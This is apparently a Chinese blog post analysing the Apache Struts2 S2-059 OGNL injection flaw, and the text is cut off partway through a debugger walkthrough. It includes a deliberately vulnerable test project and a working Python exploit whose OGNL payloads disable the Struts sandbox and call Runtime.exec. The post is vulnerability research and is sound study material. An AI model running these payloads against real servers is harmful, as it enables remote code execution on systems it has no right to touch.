文章前言
2020年12月8日,Apache官方发布安全公告称Apache Struts2修复了一处ONGL表达式执行的安全漏洞(S2-061),据相关安全人员披露该漏洞是对S2-059沙盒的绕过,由于之前没有对S2-059进行过细致的分析又对S2-061产生了兴趣,所以就先有了本篇文章。
影响范围
Struts 2.0.0 - Struts 2.5.20
利用条件
- 开启altSyntax功能
- 标签id属性中存在表达式且可控
漏洞概述
2020年8月13日,Apache官方发布公告称Apache Struts2由于在使用某些标签时会对标签属性值进行二次表达式解析,在这种情况下如果标签属性值使用了类似%{payload}且payload的值为用户可以控制时,攻击者可以构造恶意payload参数,然后通过OGNL表达式执行从而导致RCE,纤细公告如下所示:
https://cwiki.apache.org/confluence/display/WW/S2-059
前置知识
OGNL表达式
OGNL是Object-Graph Navigation Language的缩写,全称为对象图导航语言,是一种功能强大的表达式语言,它通过简单一致的语法可以任意存取对象的属性或者调用对象的方法,能够遍历整个对象的结构图,实现对象属性类型的转换等功能,Struts2中的ONGL有一个上下文(Context)概念,其实现者为ActionContext,结构示意图如下所示:
OGNL的特点
总体来说OGNL有如下特点:
- 支持对象方法调用,形式如:objName.methodName()
- 支持类静态方法调用和值访问,格式为@[类全名(包括包路)]@[方法名|值名],例如:@java.lang.String@format(‘foo %s’, ‘bar’)或@tutorial.MyConstant@APP_NAME;
- 支持赋值操作和表达式串联,例如:price=100, discount=0.8, calculatePrice(),该表达式会返回80
- 访问OGNL上下文(OGNL context)和ActionContext
- 操作集合对象
OGNL的符号
OGNL表达式要结合Struts的标签库来使用,主要有#、%和$三个符号的使用:
'#'符号用法
'#'可用于访问非根元素(在Struts中值栈为根对象),这里#相当于ActionContext.getContext(),下表是几个ActionContext中常用的属性:
'#'可用于过滤和投影(projecting)集合,例如:
persons.{?#this.age>28}
'#'可用于构造Map
#{'foo1':'bar1','foo2':'bar2'}
%符号用法
%符号的用途是在标志的属性为字符串类型时,计算OGNL表达式的值,类似js中的eval,这也是找寻OGNL表达式执行的关键点
$符号用法
- 在国际化资源文件中,引用OGNL表达式
- 在Struts 2配置文件中,引用OGNL表达式
Struts请求处理
Apache Struts2官方给出的Struts2请求处理流程图如下所示:
关于更多值栈信息以及OGNL和EL的区别可以移步这里:
https://www.cnblogs.com/huangting/p/11105051.html
漏洞复现
简易测试
下面构建了一个简易的测试项目用于对该漏洞进行复现与分析,测试代码已上传至Github:
https://github.com/Al1ex/CVE-2019-0230
S2059.jsp代码如下所示:
<%@ page
language="java"
contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>S2059</title>
</head>
<body>
<s:a id="%{id}">SimpleTest</s:a>
</body>
</html>
Struts.xml如下所示:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<constant name="struts.devMode" value="false"/>
<package name="default" namespace="/" extends="struts-default">
<default-action-ref name="index"/>
<action name="S2059" class="org.heptagram.action.IndexAction" method="Test">
<result>S2059.jsp</result>
</action>
</package>
</struts>
IndexAction代码如下所示:
package org.heptagram.action;
import com.opensymphony.xwork2.ActionSupport;
public class IndexAction extends ActionSupport {
private String id;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String Test(){
return SUCCESS;
}
}
下载项目后使用IDEA导入项目,然后启动Tomcat(JDK 8u66\Tomcat 7.0.72版本\Struts 2.5.16版本):
之后在浏览器中正常访问S2059.action并提交id参数值:
http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=1
之后构造如下payload再次访问,可以看到表达式被执行了:
http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=%25{8*8}
EXP测试
import requests
url = "http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc.exe'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
执行结果:
漏洞分析
Struts2中的标签解析由org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法处理,所以我们在此处下断点进行调试:
在这里会首先调用this.getStack()来获取值栈信息(这里的this视具体的标签而定):
之后通过this.getBean创建一个Anchor对象然后将其注入com.opensymphony.xwork2.ActionContext.container,之后调用this.populateParams();对标签属性进行赋值操作:
跟进this.populateParams方法,在这里会调用父类的populateParams()方法进行参数赋值操作:
之后继续跟进,再次调用父类的populateParams()方法,继续跟进查看:
之后继续调用父类的populateParams()方法,继续跟进:
之后无操作返回:
最终在org\apache\struts\struts2-core\2.5.16\struts2-core-2.5.16.jar!\org\apache\struts2\views\jsp\ui\AbstractUITag.class的populateParams方法中进行参数的赋值操作,在这里我注重关注以下可控的id参数的赋值操作:
之后跟进uiBean.setId(this.id),在这里会首先判断id是否为null,如果不为null则调用this.findString(id),这里的this为Anchor类实例:
之后调用this.findValue()方法,继续跟进:
在findValue中会首先判断altSyntax()是否开启以及类型是否为String,由于altSyntax默认开启且当前type为string类型,所以会进入if语句,之后判断ComponentUtils.containsExpression(expr) :
此时的expr完全满足条件,所以返回true:
之后执行TextParseUtil.translateVariables('%', expr, this.stack) ,继续跟进去: